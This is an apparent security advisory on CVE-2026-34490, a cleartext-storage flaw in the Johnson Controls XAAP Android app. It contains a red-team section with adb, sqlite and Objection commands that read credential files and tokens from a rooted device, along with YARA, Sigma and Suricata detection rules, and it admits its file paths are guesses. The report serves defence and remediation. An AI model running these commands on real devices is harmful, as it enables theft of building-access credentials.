CVE-2026-34490

Executive Summary

CVE-2026-34490 is a local information disclosure vulnerability in the Johnson Controls XAAP Android application. Versions before 1.53 store sensitive data in cleartext, allowing an attacker with access to a jailbroken, rooted, or otherwise compromised device to retrieve that data. The NVD has assigned a CVSS score of 0.0 and no official vector is populated; however, this should not be interpreted as "no risk." The vulnerability is local and requires prior device compromise, but the impact is confidentiality loss for credentials, session tokens, or other sensitive building-access related data.

EPSS indicates 0.0% probability of exploitation in the wild, and no public exploit or Nuclei template is currently available. This report provides detection and hardening guidance based on the advisory and mobile application security best practices.

The package identifier com.johnsoncontrols.xaap is used as an investigative placeholder; the actual application identifier may differ.

CVSS Breakdown & Threat Level

Official NVD score: 0.0
Official CVSS vector: UNKNOWN

Because the official score is blank/0.0, it is likely the CVE was not fully scored at publication time. A conservative, unofficial local vector for this issue would resemble:

CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Threat factors:

• Attack Vector: Local - attacker must already have code execution on the device.
• Attack Complexity: High - requires jailbreak/root, physical access, or malware on the device.
• Privileges Required: None for the attacker if the device is already compromised.
• User Interaction: None.
• Confidentiality Impact: High - sensitive stored data can be recovered.
• Integrity and Availability: Not directly impacted.

This is best treated as a moderate severity issue inside a hardened mobile deployment, but should be treated as high severity when XAAP stores building control credentials or tenant sensitive data.

Deep Dive & Mechanics

The Johnson Controls XAAP Android application is used for building security/access management workflows. The vulnerability is rooted in insecure local storage: sensitive values such as credentials, tokens, API keys, or user identifiers are persisted without encryption.

On an unmodified Android device, application sandboxing protects /data/data/com.johnsoncontrols.xaap/. On a jailbroken/rooted device, the sandbox is not a reliable boundary. An attacker can read application databases, SharedPreferences XML files, or debug logs. The advisory explicitly states that the attacker can retrieve sensitive data from the app storage.

Common cleartext storage locations in Android apps include:

• SharedPreferences XML files
• Unencrypted SQLite databases
• Plain text files in the app data directory
• Logcat output
• Android Auto Backup archives

For XAAP, likely storage paths include:

/data/data/com.johnsoncontrols.xaap/shared_prefs/
/data/data/com.johnsoncontrols.xaap/databases/
/data/data/com.johnsoncontrols.xaap/files/

The threat is not remotely exploitable through the network; it is part of a post-compromise collection chain. The attacker uses existing device access to dump the XAAP data locally or stage it for exfiltration.

Vulnerable vs. Patched Code

The actual patch commit is not public. The advisory states that version 1.53 resolves the issue. The following is a representative comparison of the vulnerable pattern and the recommended encrypted storage pattern.

Vulnerable Pattern

// Vulnerable logic before 1.53
SharedPreferences prefs =
    getSharedPreferences("xaap_session", MODE_PRIVATE);

prefs.edit()
     .putString("access_token", token)
     .putString("username", user)
     .putString("password", password)
     .apply();

Patched / Recommended Pattern

// Recommended post-1.53 approach
MasterKey mainKey = new MasterKey.Builder(context)
        .setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
        .build();

SharedPreferences encryptedPrefs = EncryptedSharedPreferences.create(
        context,
        "xaap_session_encrypted",
        mainKey,
        EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
        EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
);

encryptedPrefs.edit()
        .putString("access_token", token)
        .putString("username", user)
        .putString("password", password)
        .apply();

Until the vendor publishes source-level patch details, defenders should verify that version 1.53 uses Android Keystore-backed encryption and no longer writes plaintext credentials to app data files.

Exploitation & Lab Setup

No public exploit-db code or Nuclei template is available. The following lab procedure assumes an authorized test device.

Red Team

Prerequisites:

• Rooted or jailbroken Android test device
• adb and optional sqlite3 binary on device
• Optional: Frida and Objection

Package enumeration:

adb shell pm list packages | grep -i xaap

If the package is present, determine the application data directory:

adb shell su -c "ls -la /data/data/com.johnsoncontrols.xaap/"

Extract cleartext SharedPreferences:

adb shell su -c "cat /data/data/com.johnsoncontrols.xaap/shared_prefs/*.xml"

Inspect SQLite databases:

adb shell su -c "sqlite3 /data/data/com.johnsoncontrols.xaap/databases/xaap.db '.tables'"
adb shell su -c "sqlite3 /data/data/com.johnsoncontrols.xaap/databases/xaap.db 'SELECT * FROM credentials;'"

Dump the app data directory for offline forensic review:

adb backup -f xaap_backup.ab com.johnsoncontrols.xaap
java -jar abe.jar unpack xaap_backup.ab xaap_backup/

Using Objection:

objection -g com.johnsoncontrols.xaap explore

Inside Objection, list storage files:

android heap dump
ls
android sqlite dump

Blue Team

For Blue Team exercises, focus on detecting attempted access to app sandbox data from non-owner contexts, and on detecting cleartext artifacts during mobile forensic collection.

Detection steps:

• Deploy Mobile Device Management (MDM) with jailbreak/root detection.
• Block XAAP access on noncompliant devices.
• Monitor MDM/EDR telemetry for suspicious access to /data/data/com.johnsoncontrols.xaap/.
• Perform periodic mobile forensic collections and scan for XAAP plaintext strings.
• Rotate and reset credentials if any cleartext credentials are discovered.

Indicators of Compromise (IOCs)

No public C2 domains, IPs, or malware hashes are currently associated with CVE-2026-34490. The following are local artifacts to collect and inspect during forensics:

/data/data/com.johnsoncontrols.xaap/shared_prefs/xaap_credentials.xml
/data/data/com.johnsoncontrols.xaap/databases/xaap.db
/data/data/com.johnsoncontrols.xaap/databases/xaap.db-journal
/data/data/com.johnsoncontrols.xaap/files/.auth_cache
/data/data/com.johnsoncontrols.xaap/files/session_store

Strings of interest inside app data:

username=
password=
access_token=
refresh_token=
secret=
api_key=
XAAP
Johnsons Control

Network indicators are unlikely because the vulnerability is local storage disclosure. No known outbound C2 or exfiltration domains are currently public.

Detection Engineering

The following detection content can be used by defenders to identify XAAP cleartext artifacts and potential exfiltration behavior.

YARA Rule

rule CVE_2026_34490_XAAP_CLEARTEXT
{
    meta:
        author = "Valters IT"
        date = "2026-04-24"
        description = "Detects cleartext sensitive data artifacts related to Johnson Controls XAAP"
        cve = "CVE-2026-34490"
        cwe = "CWE-312"
    strings:
        $jci = "Johnson Controls"
        $app = "XAAP"
        $token = "access_token"
        $pwd = "password"
        $sec = "secret"
        $sess = "session_key"
    condition:
        ($app and $jci) and 2 of ($token, $pwd, $sec, $sess)
}

Sigma Rule

title: CVE-2026-34490 - Johnson Controls XAAP Cleartext Storage Access
id: 8f1ed1a4-5922-4a5f-9c6a-6f0b9d2a1e3c
status: experimental
description: Detects file access or process execution patterns targeting XAAP cleartext data directories on Android
references:
  - CVE-2026-34490
author: Valters IT
date: 2026-04-24
logsource:
  category: process_creation
  product: android
detection:
  selection_path:
    CommandLine|contains|all:
      - 'cat'
      - '/data/data/com.johnsoncontrols.xaap'
  selection_file:
    CommandLine|contains:
      - 'shared_prefs'
      - 'databases'
      - 'files'
  condition: selection_path and selection_file
falsepositives:
  - Legitimate debugging of the XAAP application on a developer device
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-34490 - XAAP Sensitive Data Exfiltration"; flow:to_server,established; http.request_line; content:"/oauth/token"; http.request_line; content:"xaap"; metadata:cve CVE-2026-34490; sid:202634490; rev:1;)

Remediation & Mitigation

• Upgrade the Johnson Controls XAAP Android application to version 1.53 or later immediately.
• Use Android Keystore, EncryptedSharedPreferences, or SQLCipher for all locally stored credentials and access tokens.
• Rotate any credentials that may have been exposed on compromised devices.
• Deploy MDM/UEM policies that block jailbroken or rooted devices.
• Enable Android Play Protect and enforce security updates across managed fleets.
• If XAAP stores facility or customer data, assume breach on any noncompliant device and perform forensic collection.
• Monitor vendor advisories for official patch notes and additional hardening guidance.

— Valters IT